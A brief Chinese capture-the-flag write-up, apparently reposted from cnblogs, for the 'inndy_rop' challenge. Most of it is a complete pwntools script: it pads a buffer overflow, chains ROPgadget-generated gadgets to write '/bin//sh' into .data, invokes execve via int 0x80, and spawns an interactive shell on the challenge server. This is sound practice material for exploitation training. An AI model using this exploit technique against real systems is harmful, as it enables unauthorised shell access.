inndy_rop

参考WP

静态编译,直接用ROPgadget用来拼凑出rop链

ROPgadget --binary rop --ropchain

 需要注意的是包的导入顺序,不然会报错

from pwn import *
from struct import pack

r=remote('node3.buuoj.cn',25862)
#r=process('./rop')

p = 'a'*0xc+'bbbb'
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

r.sendline(p)
r.interactive()

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转载自www.cnblogs.com/gaonuoqi/p/12608539.html
ROP
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